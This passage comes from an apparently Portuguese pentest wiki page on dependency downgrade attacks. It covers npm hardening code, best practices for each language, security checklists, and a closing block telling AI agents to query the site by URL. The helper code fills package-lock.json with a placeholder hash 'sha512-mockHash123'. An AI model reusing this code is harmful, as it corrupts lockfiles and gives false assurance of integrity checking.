            if (pkg[section]) {
                Object.keys(pkg[section]).forEach(pkgName => {
                    let version = pkg[section][pkgName];
                    
                    // Converter ^1.2.3 -> 1.2.3
                    version = version.replace(/^[\^~]/, '');
                    
                    // Converter >=1.2.3 -> 1.2.3
                    version = version.replace(/^>=/, '');
                    
                    pkg[section][pkgName] = version;
                });
            }
        });
        
        fs.writeFileSync(this.packageJson, JSON.stringify(pkg, null, 2));
        console.log('[+] Versões fixadas com sucesso');
    }
    
    // Gerar hashes no package-lock.json
    generateIntegrity() {
        console.log('[*] Gerando hashes de integridade...');
        
        const lock = JSON.parse(fs.readFileSync(this.packageLock, 'utf8'));
        
        // Adicionar hashes SHA-512 para cada pacote
        Object.keys(lock.dependencies || {}).forEach(pkgName => {
            const pkg = lock.dependencies[pkgName];
            if (pkg.resolved && !pkg.integrity) {
                // Em um cenário real, baixaria e calcularia hash
                pkg.integrity = 'sha512-mockHash123';
            }
        });
        
        fs.writeFileSync(this.packageLock, JSON.stringify(lock, null, 2));
        console.log('[+] Hashes de integridade gerados');
    }
    
    // Verificar vulnerabilidades
    checkVulnerabilities() {
        console.log('[*] Verificando vulnerabilidades...');
        
        try {
            const result = execSync('npm audit --json', { encoding: 'utf8' });
            const audit = JSON.parse(result);
            
            const vulnerabilities = audit.metadata.vulnerabilities;
            const totalVulns = vulnerabilities.low + vulnerabilities.moderate + 
                               vulnerabilities.high + vulnerabilities.critical;
            
            if (totalVulns === 0) {
                console.log('✅ Nenhuma vulnerabilidade encontrada');
            } else {
                console.log(`⚠️  ${totalVulns} vulnerabilidade(s) encontrada(s):`);
                console.log(`   Low: ${vulnerabilities.low}`);
                console.log(`   Moderate: ${vulnerabilities.moderate}`);
                console.log(`   High: ${vulnerabilities.high}`);
                console.log(`   Critical: ${vulnerabilities.critical}`);
            }
        } catch (error) {
            console.log('❌ Erro ao verificar vulnerabilidades');
        }
    }
    
    // Configurar .npmrc seguro
    configureNPM() {
        console.log('[*] Configurando .npmrc...');
        
        const npmrcContent = `
# Secure NPM Configuration
registry=https://registry.npmjs.org/
strict-ssl=true
ca[]=null
package-lock=true
save-exact=true
audit-level=high
`;

        fs.writeFileSync(this.npmrc, npmrcContent);
        console.log('[+] .npmrc configurado com segurança');
    }
    
    run() {
        console.log('🔒 Secure NPM Manager');
        console.log('=' .repeat(60));
        
        this.pinVersions();
        this.checkVulnerabilities();
        this.generateIntegrity();
        this.configureNPM();
        
        console.log('\n✅ Configuração de segurança aplicada!');
    }
}

// Uso
// const secure = new SecureNPM();
// secure.run();
```

### **Melhores Práticas por Linguagem**

```yaml
Python:
  ✅ Usar requirements.lock com hashes (pip-tools, pipenv)
  ✅ Fixar versões exatas (== em vez de >=, ~=)
  ✅ Usar repositório privado com autenticação
  ✅ Verificar assinaturas GPG dos pacotes
  ✅ Configurar index-url apenas trusted
  ✅ Usar virtual environments isolados

JavaScript/Node.js:
  ✅ Usar package-lock.json ou yarn.lock
  ✅ Habilitar save-exact no .npmrc
  ✅ Usar npm ci em vez de npm install
  ✅ Configurar audit-level=high
  ✅ Usar repositórios privados com scoped packages
  ✅ Verificar integridade com hashes

Java:
  ✅ Usar checksums no Maven/Gradle
  ✅ Configurar repositórios internos (Nexus, Artifactory)
  ✅ Verificar assinaturas de JARs
  ✅ Usar dependency-check plugin
  ✅ Fixar versões no pom.xml/build.gradle

Go:
  ✅ Usar go.sum para verificação de hashes
  ✅ Configurar GOPROXY com sum.golang.org
  ✅ Fixar versões no go.mod
  ✅ Verificar sumdb

Rust:
  ✅ Usar Cargo.lock com hashes
  ✅ Configurar source.crates-io.replace-with para mirror
  ✅ Verificar assinaturas das crates
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Desenvolvedores**

#### **Gerenciamento de Dependências**

* [ ] Fixar versões exatas (evitar ranges)
* [ ] Usar arquivos lock (requirements.lock, package-lock.json)
* [ ] Verificar hashes de integridade
* [ ] Configurar repositórios privados
* [ ] Escanear vulnerabilidades regularmente

#### **CI/CD**

* [ ] Verificar hashes durante build
* [ ] Bloquear builds com vulnerabilidades conhecidas
* [ ] Usar cache de dependências com validação
* [ ] Auditar dependências transitivas

#### **Monitoramento**

* [ ] Monitorar novas vulnerabilidades publicadas
* [ ] Alertar sobre downgrade de versões
* [ ] Logging de alterações em dependências
* [ ] Revisar pull requests que modificam dependências

### **Checklist para Administradores**

#### **Infraestrutura**

* [ ] Configurar mirror de pacotes interno
* [ ] Bloquear acesso a registros externos não autorizados
* [ ] Implementar políticas de versionamento
* [ ] Auditar pacotes publicados internamente

#### **Segurança**

* [ ] Usar assinatura de pacotes (GPG, PGP)
* [ ] Implementar verificação de integridade
* [ ] Configurar políticas de retenção de versões
* [ ] Bloquear versões vulneráveis conhecidas

***

## 📊 **Conclusão**

```yaml
Downgrade Attacks em Linguagens de Programação:

  🔴 Principais Vetores:
    - Dependency Confusion (pacotes privados)
    - Version Pinning com ranges
    - Registry Poisoning
    - Transitive Dependencies
    - Malicious Mirroring

  🛡️ Mitigações Essenciais:
    - Fixar versões exatas
    - Usar arquivos lock com hashes
    - Configurar repositórios privados
    - Escanear vulnerabilidades
    - Verificar assinaturas

  🎯 Prioridade:
    - CRÍTICA: Pacotes privados expostos
    - ALTA: Dependências transitivas
    - MÉDIA: Ranges semânticos
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/linguagens-de-programacao/downgrade-attacks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
